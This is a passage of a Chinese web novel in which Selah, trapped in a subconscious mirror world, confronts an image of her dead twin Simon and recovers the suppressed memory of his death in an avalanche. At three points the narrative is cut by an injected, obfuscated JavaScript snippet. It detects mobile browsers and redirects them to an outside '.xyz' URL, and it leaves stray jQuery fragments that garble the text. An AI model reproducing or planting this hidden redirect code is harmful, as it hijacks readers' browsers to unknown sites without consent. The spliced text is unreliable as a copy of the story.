最后,塞勒把心一横,吐出口气,将手放到镜面人手上,“来吧。” 这句话像一滴水落下,镜面漾开一圈涟漪。首先出现的,是伊甸、许梦扬、洛祈……等同行伙伴的镜像。几人接连浮现在镜面上,然后又相继隐去。 塞勒刚准备说“对,就是要找他们”,随即又看见自己的父母相继出现在镜面。动态画面中,一家三口其乐融融。 再次隐去,随之而来的是她参加的各种比赛。 越野、攀岩、赛艇、滑翔、各种极限运动……画面中的她不是在领奖,就是在夺冠的路上,在最激烈的最终时刻。除此之外,就是在跟父母分享她的高光时刻。 画面交叠出现又隐去。倏忽镜面上的涟漪从外向内荡回,犹如刚刚的画面倒放,水滴收束,定格,消泯无形。她再次看到了自己的镜像。 一时无言,静默无声。镜面人却没有放开她。 “瞧瞧,”好一会儿,老婆婆的声音才再次响起,“真是一个要强的姑娘啊。” 塞勒一脸的迷惑,“你说的就是这些吗?可是这些我全都记得啊。” “刚刚出现在镜面上的,全都是你的表意识,”镜面人道,“你当然记得了。” 塞勒:“……所以?” 镜面人没有顺着她说下去,而是话锋一转,慈和地问道,“你喜欢刚刚那些极限运动吗?那些刺激、冒险、却又显得自己强大的活动?” “当然。”塞勒一顿,继而回答,“我从小的梦想,就是做一名全球探险家。” “是吗?那真的是你的梦想吗?”老婆婆的声音低沉呵笑一声,“看来,你还真是隐藏了不少东西,深到你都全然忘记它们的存在了。” 塞勒终于警惕地收回手,感觉十分异样,“什么意思?” “慕强。”镜面人一字一顿,“所以恐惧弱小的自己。你真的认同自己的存……” “没有!”塞勒打断镜面人,显然有些生气,“我不知道你为什么说这些,但我才没有。我做的一切都是出自我本人的意愿。” “哦?”那声音呵呵一笑,镜中的自己却紧蹙眉头,看起来相当诡异,“那好,敢和我做个实验吗?” 塞勒沉默地抿唇,看着镜面人这一次对自己伸出两只浑圆的手。 那是一个显然的邀约。 她没有伸手,只反问,“什么?” “谁也逃不过潜意识的审判,”镜面人幽幽道,“这次,你认同什么,就会反射出什么。” 不知怎的,塞勒喉间有些哽,下意识握起拳。 “这不难吧。”镜面人道,“如果确实如你所言,你真的认同自己的一切……那就只会反射出自己,仅此而已。” 听起来确实不是难事。 “还是说,你不敢?”镜面中的自己紧盯着塞勒,好似挑衅,“你做了这么多来证明自己是个勇敢的人,现在连面对自己潜意识的勇气,都没有?” 不知是被话中哪个字挑动了神经,塞勒忽而暴起,愤愤道,“你少瞧不起人!来就来!” 虽然感觉哪里有点怪,塞勒还是觉得问题不大,即使看了也只会反射出自己。她捏了捏拳,伸出双手,握住了镜面人冰凉的手。 下一秒,镜面人的雪人形态开始发生变化—— 圆滚滚的脑袋出现了五官形态和发型,身体开始逐渐转变成人形,浑圆的双手也开始分出五指和手掌。 而镜面中还是塞勒。 一时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853779|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个雪人仿佛巧夺天工,开始从上至下全然被“雕刻”成塞勒样貌。 化形完毕,二人拉着手,如同相对而立的孪生姐妹。 塞勒顿时松了口气,似大石落地。刚想说句“怎么样?”却突然发现,眼前这个和自己一模一样的镜面人,开始了细微调整。 首先是下巴,变得更平。 然后是发型,变得更短。 接着是略显熟悉的嘴唇笑容。 最后“她”逐渐升高,直到比自己高出一头,需要塞勒仰头去看。 直到她已不再是“她”。 “不可能!”塞勒大声矢口否认,她想抽回手,却被镜面人紧抓着,不肯松手。 一些尘封的回忆倏然涌上心头…… “不可能!他已经死了!”塞勒拼命抽手,却禁不住出口道,“赛蒙,松手!” 镜面人已经完全变成她死去的亲弟弟,赛蒙。 四手对握,如同开启一场拔河。塞勒再发力,对方突然一松,她猛地向后倒去,一屁股坐到雪地上,十足的狼狈。 熟悉的感觉回来了,这就是赛蒙最爱干的事。让她难堪,让她狼狈。 塞勒气还没喘匀,一抬头却惊讶地发现,刚刚自己挂在手腕上的头盔,就在脱手的瞬间被对方顺走了。 只见“赛蒙”手里摆弄着传感头盔,显得挺新奇,“这是什么……” “还给我!”塞勒起身想去夺回。 不料赛蒙一转身,三步并作两步,几乎是一跃上了对面高高的雪丘。 他的体力还是这么好。 塞勒止了步,双拳攥得越来越紧,咬着牙道,“我再说一遍,把东西还给我。” 然而须臾间他已经戴上头盔,并顺利开了机。 “嗨嗨嗨?”他甚至不忘抬高声音,以便更像塞勒,“大家好啊!” 塞勒向他冲了过去,赛蒙轻巧躲开,一边说话一边跃上另一个雪丘。 “……真没劲啊。”不一会儿赛蒙就转回身,取下了头盔,兴致缺缺,“我还想跟他们打个招呼呢。” 塞勒站在扑了个空的新雪丘上,身旁只有一个孤零零的雪人,眼神凌厉地看着对面的人气不打一处来。 “别那样看着我。”赛蒙好像真的很无奈,“行行行,还给你……”话毕一个抬手,传感头盔呈抛物线飞了过来。 塞勒紧盯着飞来的头盔,伸手去接,然而就在快要碰到的前一瞬—— 对面的赛蒙向前倾身,却没有冲过来。但顷刻间他就从塞勒身旁的雪人中倏然钻出,一脚踹飞了即将到手的头盔! 塞勒一怔,猛地转身向他扑过去,可双手还未碰到赛蒙,他便又从雪人中消失,出现在刚刚的雪丘上。 看着赛蒙悠悠从那个雪丘的镜面雪人中跨出……明白了。 塞勒回过味来,看来这些雪人不止作为反射源那么简单,似乎还能让镜面人实现瞬间移动。 也就是说,他能穿梭于雪人当中! 塞勒的耐心告罄,看着对面正冲她笑的赛蒙,脸上几乎是不加掩饰的嫌恶,“你还是那么让人讨厌!” “是吗?”赛蒙不以为意地耸耸肩,低下头看了看周身——而那毫无疑问是通过塞勒显化出来的结果,笑出了声。 “你这么讨厌我,却又认同我,”他在认同两个字上格外加重语气,“你自己都不觉得你很矛盾吗?” 38.天生冤家 不得不承认有些羁绊由生开始,却至死不休。 当她还是一个胚胎的时候,他们的纠缠就已经初现端倪……争夺子宫的空间,争夺母亲给予的养分,她与他是一条脐带上连着的龙凤胎。 一声啼哭,塞勒·加西亚率先出生,面了世。 然而在塞勒的记忆当中,随后面世的弟弟赛蒙从未叫过她一声姐姐。甚至他坚持认为他才应该是哥哥。 无形的硝烟弥漫在二人之间,并未随着脐带剪断而停歇。 弟弟赛蒙从小就展示出了异于常人的充沛体魄,无穷活力和极强的好胜心。仿佛他生来就是要与塞勒争夺一切:比如父母的关注、老师的认可、和周围所有人的交口称赞。 无论在家里还是学校,他似乎可以轻而易举地夺走塞勒的一切,但仍不满足。他就像是无法熄灭的火焰,以燎原之势将塞勒的世界燃烧得片甲不留。 但指望塞勒会就此认输?当然不。 赛蒙能做的,她也能。 不过是多付出成倍的努力而已,有什么关系。 因此,尽管塞勒的父母从未对她有类似要求,她还是时刻梦想着有一天能超越赛蒙,站上属于她的巅峰,获得所有人的认可。 终于,在十五岁那年,让她等来了那个机会。 那是一场在挪威举办的登山比赛。 目标是登顶挪威的标志性雪山,尤通黑门山。 传说那里是古代维京人祭神之地,充满了神秘庄严氛围。因为地势险峻,山峰挺拔,攀越难度大,吸引了不少的冒险爱好者。 自然,加西亚两姐弟也位居其列。 为了那场比赛,父母专门给两人都送了一副哈雷护目镜。 赛前动员时,主办方特别告知所有参赛者,有多种难度的登山路线可供选择。请各位登山者量力而行。 赛蒙毫不犹豫地选择了最高难度。塞勒不甘示弱,选择了同一线路。 在那趟冒险旅程中,塞勒第一次赢过了赛蒙。因为至少她活了下来。 她记得那个冬日寒风凛冽,阳光颇为吝啬,攀登不过五十米就消失得无影无踪。随之而来的是连片的阴云,密布在山峰上半段,仿佛隔开了一上一下两个世界。 登顶尤通黑门山需要有足够的体力和登山经验,因此赛蒙高高在上,一骑绝尘,很快就看不见了身影。 风越来越大,与他们一起同行的参赛者看形势,三三两两选择见好就收,相继下了山,而塞勒一路向上,尽管爬得越来越吃力,但也从未打算放弃。 很快,在可视范围内,就只剩下她一个人了。但她仍然在一寸一寸的艰难前行。 后来……她记得发生了一场预期之外,但也算不上非常意外的雪崩。就是在那场雪崩中,赛蒙失足跌下了尤通黑门山,死了。 从医院醒来后,塞勒坐在病房的床头,望着冬日晦暗阴天的暴雪在窗外咆哮,听见主办方的工作人员满心遗憾地告诉她父母赛蒙失足去世的消息,感受那个天生冤家每分每秒都在离她越来越远,有种从未有过的麻木。 随之而去的,还有那些经年累月的较劲比拼。 她的父母都是坚强的人,并未追问她当天到底发生了什么,反而鼓励她坚持在自己梦想之路上走下去。 “只要你往前走,就没有什么能拦住你。所以不要怯,不怯的人面前才有路。” 这就是他们对塞勒,对于这整件事所说的最后一句话。 塞勒跟着父母回了家,一家人貌似默契十足,自那之后绝口不提这件事,她当然也是,仿佛时光封缄,一切沉眠,从未发生。 塞勒·加西亚望着对面雪丘上那张既熟悉又陌生的脸(他仍是那年十五岁神采奕奕的样子)对于这突如其来的重见感到始料未及的荒唐。 认同?开什么玩笑。 一定是什么地方搞错了。 “说不出话来了吧?”镜面人赛蒙把玩着重新落回他手里的头盔,对上她的视线笑道,“连你头顶的护目镜都是我的,为什么你就是不肯承认呢?” 塞勒倏然扯下了护目镜,比千分之一的膝跳反应还要快,厌恶道,“认同你什么?认同你狂妄自大?还是认同你争强好胜?” “争强好胜?”镜面人赛蒙嗤笑出声,伸出手先指了指自己,又指向塞勒,“我和你,咱俩到底是谁争强好胜?” 塞勒心里涌起隐隐不安,但又说不太清楚,可仍旧镇定道,“至少我不会争强好胜到把自己玩儿死。” 镜面人赛蒙的脸上先是出现了一秒的诧异,随即整张脸略微扭曲,陡然间爆发了无与伦比的剧烈笑声,像是听到了惊天笑话。 “这就是你的保护机制吗?”他笑得停不下来,“不行这太好笑了哈哈哈……” 那夸张的笑声让塞勒感到毛骨悚然,同时,她心中那种隐隐的不安越变越强烈,如同一个在阳光下被越吹越大的肥皂泡,如梦似幻飘渺,但每一刻都濒临破裂。破裂之后会出现什么?她不清楚。 厚厚的雪地簌簌震颤,她越来越觉得有什么东西……似乎正在失控。 “够了!”塞勒冲向镜面人,加速跃起,想要夺回自己的传感头盔,但奇怪的是,镜面人似乎能看穿她的任何动作,总是比她要快一步。 “需要我帮你回忆一下吗?”镜面人赛蒙一边轻巧后撤,一边冲她道,“回忆一下你这些年,都做了什么蠢事?” 他双手一拍,周围雪丘上高高低低的镜面雪人便动了起来,它们的身体立即反射出塞勒参加过的,所有极限运动的比赛画面,一如刚才。 接着镜面一闪,那些光屏一般的动态画面尽数转变成更年轻的赛蒙,全都是他参加过且拿过奖的比赛。 一一对应,一个不差。 塞勒耳根有些发热,她蹙起眉,“那又怎样?你能参加我就不能?” “可以,怎么不行?”镜面人赛蒙停在一个雪人旁,“那这个,你怎么解释?” 他将手搭在雪人的肩上,雪人身上的镜面微微荡起涟漪,随即出现一个四人的场景,画面中两个大人,两个小孩。 塞勒一眼认出,那是她小时候老房子的客厅。两个大人毫无疑问是他们的父母,两个小孩正是他们俩。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864501|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那时姐弟俩刚刚五岁。 “我长大之后,要做一名全球探险家!”画面中,小男孩兴奋地说。 小女孩在身后看他一眼,便收回目光,怔怔然像在出神思索着什么。 旁边一站一坐的父母欣然鼓励道,“好啊赛蒙,有梦想是件好事!” 有梦想……是件好事。 塞勒盯着那幅堪称久远的画面,一种异样的感觉窜上头顶,身体战栗发麻,她不知道是为什么,就好像自己生活了一辈子的房间,有一天忽然钻出来另一个人,告知你并不属于这里。 “不……”塞勒哑道,后退一步,“不是。” “不是什么?”镜面人赛蒙的手一直没有拿起来,于是雪人身上短短几十秒的画面被不断重放,小男孩兴奋的声音循环回荡,让塞勒感到晕眩,“不是真的?” 这幅场景确实是发生过的事,可是她,几乎全然忘却了。 犹如在上锁的密室当中引爆了一枚暗格里藏的定时炸弹,塞勒站在爆破后的密室废墟之上,童年零碎的记忆弹片迅速袭来,正中她的眉心。 做全球探险家,那是赛蒙的梦想。 不是她的…… 那她呢? “你到底是谁?”镜面人赛蒙提起手臂,动态画面定格,“你真的还记得么?” “我……”塞勒强迫自己不要听他胡说八道,她想说“那也是我的梦想不行么”,却发现无论如何,都说不出口。 也许记忆真的会扭曲,变形……又或许,记忆只是静静地待在那,只是反射面发生了变化。 “到底是我在跟你争夺一切,”赛蒙向她走来,步步趋紧似阴魂不散,“还是你一直在无休无止地围着我、追着我、要跟我一较高低?” “别过来……”塞勒被脚后的雪绊了一下,她连忙撑了下地才没摔倒,然后抖着手迅速攒了一个雪球扔了过去,“别过来!” 雪球砸在镜面人身上,溃散成无数零碎雪花。 赛蒙随手一拂,并不打算停下,“你太在意我了,在意到甚至愿意放弃自己的一切,昼夜不分加倍努力,就只是为了赢过我,不是吗?” “闭嘴!”塞勒捂住耳朵,胸中震荡,心慌得无以复加。 可是那声音竟成倍放大,穿透手掌与耳膜—— “但你永远也比不上我,你知道为什么吗?”镜面人毫不留情,“因为这世界上根本不需要第二个赛蒙·加西亚,在我的道路上你做得再好,也不过是一个赝品,一个无限趋近于我的复制品罢了!我的……姐姐,”他似乎是第一次改了口,但仍旧咄咄相逼,“你、到、底、是、谁?” “闭嘴!”塞勒尖锐大喊出声,几乎破音,“那又怎样!你已经死了!我已经赢过你了!” 顷刻间地动山摧,身下的厚重雪层平地坍塌,急遽狂风呼啸降临。塞勒的视野动荡摇晃,迎面雪雾翻腾,白茫茫一片,恰似一场覆地翻天的大雪崩! “是吗?谎言重复一千遍就会成真吗?”赛蒙熟悉的声音回荡在半空,“那就让你来回顾一下,你到底是怎么‘赢’的吧。” 39.冰雪之下 事实上,塞勒记的也没错,攀登尤通黑门山那一天确实发生了雪崩。 只不过……不是一次,是两次。 漫天飞雪纷纷扬扬中,白茫褪去,塞勒周围唰然一变。她放下挡在眼前的手,刚想喘口气,然而下一刻,就被一种彻骨的恐惧紧紧攫住,无法喘息。 刚才的大片雪原和连亘的雪丘已然消失不见——此时此刻,她独坐在一尺见方的冰台雪峰,身下是料峭高崖,寒流扑面而来。 她不敢往下看,因为她清晰地意识到,她随时可能坠落。 那种迫近的恐怖感几乎让塞勒全身瘫软,她维持着僵硬的坐姿(那甚至称不上是坐姿),动一下都感觉头晕目眩。 人是不能离深渊太近的,更何况是对于恐高的塞勒而言。 “从挪威回来后,你才开始恐高的对吧?”镜面人站在对面的峰顶,高高在上,他半蹲下来看向塞勒,“就没想过为什么?” 塞勒的双眸兀自望向上空,冷汗从额顶滑到脖颈,急促的呼吸让她无法分神应付,只用余光撇过他。 “你来到这里,”镜面人恢复了镜面形态,脸上看不到任何表情,只有声音依旧冷峻,“也并不是因为你有多关心什么消失案……你只是想证明自己,这才是你的目的。一直以来,都是这样。” 塞勒手肘撑住冰台,用尽全力才勉强支起身体,一点一点坐直了些。 直到这时,她才看清眼前镜面人脚下这座巍峨雪山,熟悉的地势与斜度,俨然正是他们当年去攀登的尤通黑门山……甚至连密布翻涌的铅灰色阴云将雪峰上端一隔为二,都精准重现。 天下最逼真的造景也不过如此了。 如果不考虑高度,塞勒孤身所处的冰台也许确实能成为最佳观景台。 阴云翻滚的下方不远处,正有另一个镜面人形在一寸一寸向上艰难攀爬。那个身影是如此熟悉,即使没有样貌,只看见全然的镜面,塞勒也能一眼认出,那是15岁的自己。 忽然一声爆响,雪山轰隆震动,自阴云处爆出滚滚雪块,向下溃去。 “不……”塞勒瞠目,口中喃喃。 那一声爆响似锐利针尖,终于戳破了阳光下那只无限充大的肥皂泡。碎裂之后,是许多被封存的、陌生又熟悉的记忆片段……冥冥中画面交叠,她又再次回到了那时那刻。 那是当天她遇见的,第一场雪崩。 溃散的雪浪从那人身上滑过,又落下去。随后那个伶仃的镜面人已经完全变成十五岁塞勒的样貌。所幸这一场雪崩规模较小,没有将塞勒直接带下去,但也让当时的她如逢当头棒喝。 雪过之后,塞勒双手上借力的冰凿已经剩下一个,身下坚实的雪也因为雪崩而变软,登山鞋的冰爪开始无法抓地。 她被悬在一支固定的绳索上,仍然挺直脊背。右手上的冰凿深深嵌入头顶一臂的位置,那是她唯一的支撑点。除此之外,已经动弹不得。 到这个位置,她已经爬了五小时。塞勒小口小口喘着气,她已经很累了。可周围空无一人,没办法得到任何帮助。 休息片刻后,她开始尝试着寻找着力点,可脚下的冰爪实在无法在松软的雪面上,抓到任何一个足够支撑她继续移动的固定点。 悬挂着的右臂开始渐渐发麻,她费力地换成了左臂,继续维持。 上下不得,那真算得上一个困顿绝望的时刻。 而就在那时,一阵稳定的桨翼声由小到大靠近,她转头望去,惊讶地发现是一架无人机。机身上刻着一个熟悉的S·G字迹。 一声抽泣突兀地迸发。 塞勒哭了——但却不是十五岁被困在雪山上的她,而是此时看台上的塞勒——她双手掩面浑身颤抖起来,像是被这架小小的无人机引爆了什么极度痛苦的回忆。 无人机围着十五岁的塞勒从上到下,从远到近观察一圈,随后便悬飞在她附近。 于是又过了大概半小时,有一个人在她的视野中出现了。 在空无一人的雪峰上,弟弟赛蒙·加西亚出现在她视野上方百米处。他一手撑着登山杖谨慎地下坡,一手拿着无线遥控器,操纵无人机回到他身边。 他背后一开始背着的一面主办方给的签名旗帜已经不见。 这意味着,赛蒙已经完成了登顶。 而这条路线倾斜角度高达75°,鲜少有人下山还会选择这条路线。但他还是重走了这条路,孤身来到塞勒面前。 “你不该选这条路。”他语气里没什么情绪地说,“如果只是为了赢过我的话。” 当时的塞勒其实并不服气,开口反驳,“你能选,我就不能吗?” “南壁中央线号称魔鬼线,我选择这条线是因为提前考察过,而你没有。”赛蒙的护目镜没摘下来,看不清眼神,“你选择这条线只是为了证明,不比我差。” 像是没什么好再说了,赛蒙叹了口气,拿着登山杖围着塞勒身旁的雪域深一下浅一下,似乎在丈量什么,半晌后,他摇了摇头,“这片雪都松了。” 赛蒙转身向上走了50米左右,停了下来。将他背着的细长雪板深深扎入齐膝的雪中,又紧紧在雪板上各绑了两条辅绳,随后走回塞勒身边,拉过她的安全带辅绳,将辅绳上的锁扣挂上自己主绳。 “两个选择。我把你拉上去,然后登顶,再从西璧路线下去。”这原本是他定好的下山路线,但他看了眼冻得唇色发白的塞勒,“问题是,你还有多少体力?” 这意味着要再往上两千米,除了高度,体力,还有海拔,日落时间,气温状况,都是问题。 攀登雪山绝不仅仅是止于登顶,下山的过程一样重要,直到安全落地前,时刻都不能松懈。 这一点塞勒还是懂的。 她神色复杂地看了眼赛蒙,“登顶是够的。”如果没有这场雪崩的话,她的体力不会流失得这么快。 赛蒙在原地停了几秒,鼻腔中一缕几不可察的气息叹出,转过了身。 “你该去做自己真正擅长的事。” 他拉着塞勒的主绳,向上走到自己刚才已经固定好的雪板前,“第二个选择,上面这片雪域暂时还稳定,我固定好锚点,你拉着主绳往下,按照原路线滑到下方的营地。” 塞勒看着50米外的赛蒙,刚才做的一切都在表明:他会做那个锚点。 否则,以这片雪域的稳定程度,根本不足以支撑塞勒成功滑到营地。 塞勒第一次迟疑了,喊道,“……那你呢?” “我自有我的办法。”赛蒙回答,“我会派无人机跟着你,你只管下去就行。” 但塞勒知道,十有八九还是按照他的原路线,当她下去了,没了锚点,他会转到西璧下山。 赛蒙向她比了个OK的手势,“快要日落了。”意思是让她快点动身。 塞勒即刻松了右手的冰凿,身躯顿时下坠,环绕腰部和大腿的主绳托着她的重量,她拉住主绳,像从前攀岩下落时,一点点在雪山峭壁找回主动权。 很神奇的,那时她感觉到一种奇异的熟悉感,这条主绳作为此刻唯一的连接媒介,这端是她,另一端是弟弟赛蒙。 仿佛她与他在那一刻,同时回到了生命之初。 等这次回去后……也许她与他可以坐下来,平心静气地,说说话。当时的塞勒是这么想的。 天暗了些,开始下起小雪,随风胡乱地飘着。无人机盘旋在身侧跟着,她擦了一把护目镜表面,下降得更快,为了尽量给赛蒙节省时间。 终于营地出现在下方视野中,塞勒往下看了看,顿觉希望就在前方。 “有人!”营地中的工作人员也看见了塞勒,急忙招呼着赶来援助。此时的雪已经从棉絮变成了冰凌渣子,一片片割到脸上,针扎似的。 很快了……马上就到了。 然而就在距离地面大约50米时,又一声爆响,从头顶天际隆隆传来。 彼时的塞勒猛地抬头,神色绷紧,眉心一跳。听见身下的工作人员惊惧地喊着“雪崩了吗?”“好像是雪崩!”可身上的绳索依旧稳稳支撑,并没有松弛卸力。 至少在那个时候……她还不确定发生了什么。 “不!”可此时高坐冰台的塞勒却已经失声尖叫,眼睁睁看着第二次雪崩的汹涌雪浪一霎那喷薄而出,瞬间湮没了还在锚点站着的赛蒙。 犹如高崖大坝决堤,滚滚雪尘浪潮一般,从四面八方向下翻滚溃落,像是从天而降了一面磅礴的雪瀑。 主绳索支撑着塞勒下降到二十米左右,忽然猛地一坠,塞勒惊叫一声,摔了下去,从斜坡上翻滚几圈,应声落地。 随之而来的是被雪坡和峭壁不断稀释、缓冲、消解过——但仍然纷纷扬扬落下的鹅毛大雪。 温热的液体淌过额角,混着冰凉的雪在脸上化开,塞勒感觉自己撞到了头。营地的医务人员迅速赶来,解开主绳索将她扶起,抬上担架。 塞勒感到有些昏沉,但努力保持着意识清醒,告诉营地的人她弟弟还在山上,请他们赶紧安排救援。 在担架上最后的意识里,她眸光闪动,一眼不眨地盯着那台跟随她的无人机,看见它随风摇晃,东倒西歪,然后一头栽进雪地里,不动了。 第二天一早,救援人员在南壁雪坡上发现了赛蒙的尸体。 被发现的那一刻,他整个人头朝下方,双手向前,仍维持着那个死死拉住绳索的姿势。 救援人员根据雪板,判定应该是在下山途中失足跌落,外加遇上雪崩才导致的结果。 消息被带回的时候,塞勒刚刚苏醒,迷迷糊糊中听到后……她呆滞了瞬间,然后猝然晕了过去。 再醒来时,这一整段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872168|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨烈记忆就被尽数遗忘。 而现在,这段记忆就像一整幅拼图中最关键的那一块,被毫无预兆地拼接起来。 塞勒跪坐在高高的冰台上,无法遏制地捂着头连声尖叫。终于明白了,原来这就是所谓的“保护机制”。 是啊,她赢了吗? 她怎么会不需要呢? 如果没有这个保护机制,她可能早就疯了…… 她会直接崩溃。 她会无法接受。 会生活在永无止境的追问和质疑中,永远也无法自洽。 倒不如让她继续讨厌他,更能让塞勒活下去。 空气中回荡着塞勒声嘶力竭的尖叫。逼真的造景早已随着雪崩消亡,塞勒孤独地处在万丈高崖,崩溃得一败涂地。 “塞勒,站起来。” ——就在这时,一个微小但摇曳的声音响起,却不是来自于镜面人。 塞勒依旧沉浸在悲恸当中,没有做出任何回应。 “塞勒,站起来。”那个声音又轻轻响起,听起来摇曳闪动,像簇燃烧的烛火。 “……谁?”塞勒移开双手,缓缓停下抽泣。 “我是你的指导灵,”那个声音忽闪一下,“你也可以叫我星星。” “星星?”塞勒脸上仍然挂泪,以为自己精神打击过大终于出现幻觉了,她茫然地看向四周,“……是什么?你在哪?我怎么看不见?” “我在你的头顶,”星星道,“你只要知道,我永远同你在一起,就可以了。” “永远同我……在一起?” “是的,我会帮你的。只要你真心听我说话。”星星道。 “……你能怎么帮我?”塞勒沙哑道,她看了看周围,对高处的恐惧已经被悲伤碾压,变得有些无动于衷,也没心情对星星追根究底,只说,“你也看到了,我只要动身,就随时都会掉下去,能怎么办?” “跳下去。”星星毫不犹豫地说。 “什么?”塞勒以为自己听错了,“跳下去?你不是来帮我的吗?” “没错。”星星回答,再次重复,“想要从这个环境脱困,你就需要跳下去。” “不不不,”塞勒拒绝道,“我不行。” “你可以。”星星道。 仿佛被刚才一整个经历抽掉了所有勇气,塞勒再次拒绝,“我真的做不到。” “你可以,相信我。置之死地而后生,考验不会平白无故来临。”星星耐心道,“当你能够跨越,考验才会降临。” “考验?”塞勒顿时觉得匪夷所思,“你说这一切……都是考验?” “你还没发现吗?”头顶的声音渐渐扬起,“这里,就是你的潜意识世界啊。” “潜意识……”塞勒屏息看看身下的万丈深渊,“可是,为什么呢?” “因为你一直不敢面对这件事。”星星道,“所以才会被你压在潜意识里,被不断反刍,壮大,直到能完全控制你的所思所想、所有言行,而你却无知无觉。” “我,”塞勒感到无比荒唐,“你说……我被控制了?” “自从赛蒙意外去世,”星星的火焰似乎缩小了些,但仍旧清晰,“你现在已经完全活成他的样子了。你还没反应过来吗?” 一瞬间空气都仿佛凝结,塞勒的嘴巴半开着,眼瞳中尽是恍然过后的不可置信。 “所以,经历崩溃,是重建最必要的一环。”星星道,“只有经历崩溃,你才可能真正重新站起来。否则,你将会永远活在虚幻当中。” 可是崩溃轻而易举,重建……哪有这么容易。 “还有可能吗?”塞勒苦涩地说,“我现在都无法面对这一切……” “当然。”星星笃定道,“现在,恰恰就是你突破的最好时机。” “突破?”她的声音几乎颤抖,“那要怎么做呢?就是从这里……” “跳下去。”星星接道,“是的。第一步,就是克服你遗留下来的,恐高症。因为那不是你天生的。” “可是,”塞勒跪坐在自己脚跟,整个身体都蜷缩起来,将脸埋进双臂,战栗道,“可是我会死的。” “不会。”星星道,“记得吗?这里是你潜意识的世界,一切都是你创造出来的,所以,只要你相信自己能活,就不会死。” 话虽这么说……塞勒一想到往下跳还是忍不住抖如筛糠。就在她眼一闭心一横,决定就这么往旁边一滚了事,却忽然被星星叫停了动作。 “不可以!”星星声音像是猛然燎起的火焰,“如果你就这么掉下去,那就真的会死,因为你并不是真的相信!” 塞勒猝然抬头,连忙回正了身体。 “你要真的相信。”星星再次鼓励道,“战胜恐惧,有时候只是一瞬间,一个决定而已。前提是,你百分之百地相信自己。” 40.潜镜丘 “咱们就是说……”传感耳机内,许梦扬根本无法遏制自己无限发散的思维,第N次提出疑问,“最坏的结果可能是什么?” 许梦扬现在有一种莫名其妙的负罪感。他觉得塞勒怎么说也是自己邀来的,这要是有个什么三长两短,他得负至少一半责任。 “啊啊啊啊——”他在原地被自己的脑洞吓得一个大跳,“她会不会被外星人抓走了啊?!外星人复制了一个塞勒,试验成功之后就轮到我们了?” 洛祈/埃文/索尔/阮廷榭:…… 很难不怀疑是不是被风筝人传染了点神金。 “冷静,Xu。”埃文有点哭笑不得,“你先冷静……” “咱们需不需要组队去救她啊?”许梦扬已经开始准备调转方向了。 “等下,”洛祈赶紧叫停,无奈一笑,“但是我们都不知道她在什么地方啊。” “……我还是问一下地衣吧。”以防许梦扬再做出什么脑洞大开的举动,索尔赶紧道,“你先别急。” “哦对,”许梦扬回神,“行。” 正在这时,洛祈发现手上的水晶珠再次转动起来,这一次,全部变成了雪白的珠子,只是透明度略微不同,每个珠子里似乎都镶嵌着一片银白雪花。 “你们快看水晶珠!”洛祈赶紧同步,“是不是变了?” 其他几人立刻注意到,全都变了。 “这是……”许梦扬一颗一颗看过去,“代表什么呢?” “……可能是某种提示吧,”洛祈耸耸肩,除此之外他一无所知,“不清楚。” “潜镜丘。”忽然,许梦扬头顶的星星道,声音依旧似霜花一般,“如果这是一种提示,有可能,她会在那里。” “前进…啥?”许梦扬云里雾里,“…静秋?” “……是,潜镜丘。潜在的潜。”耳机内,索尔重新开了麦,“我刚刚跟地衣沟通过了,好像也是说潜镜丘的雪人见过类似她的女孩。” “那行啊,”许梦扬振奋道,“那我们能通过地衣找到潜境……那个地方吗?” “也许能吧,”索尔欲言又止,“但是……” “但是没有用。”许梦扬头顶的星星凉凉道,“如果进了潜镜丘,那就只能靠内部突破。外部干预是没有用的。” “啊?”许梦扬诧异,“这又是为什么啊?” “因为潜镜丘会根据人的潜意识随机生成,”星星道,“如果你们不是对她足够了解,就算去了也没什么用。” “……潜意识?” 竟然还有这种地方,但许梦扬转念一想,“可是为什么塞勒会进去呢?” “那个地方,”星星回答,“有执念、心结、陷在某种模式中的人更容易进去。” 许梦扬回忆了一下自己见到的塞勒,开朗大方,潇洒爽快,怀疑道,“你说塞勒吗?不太可能吧……” “为什么不可能?”星星道,“知人知面,一个人表现出来的,往往只是长期成长过程中养成的习惯,但习惯是可能骗人的,不仅对别人如此,甚至连自己都可能骗过。” “好吧。”许梦扬问,“那怎么才能突破?” “坦诚地面对自己。”星星道,“这是唯一的解法。如果一个人在潜镜丘都无法坦诚面对自己,那就危险了,因为那里和混沌之海几乎一线之隔,是连通的。” 许梦扬有些着急,但也无济于事。只能祈祷塞勒能顺利地渡过险境。 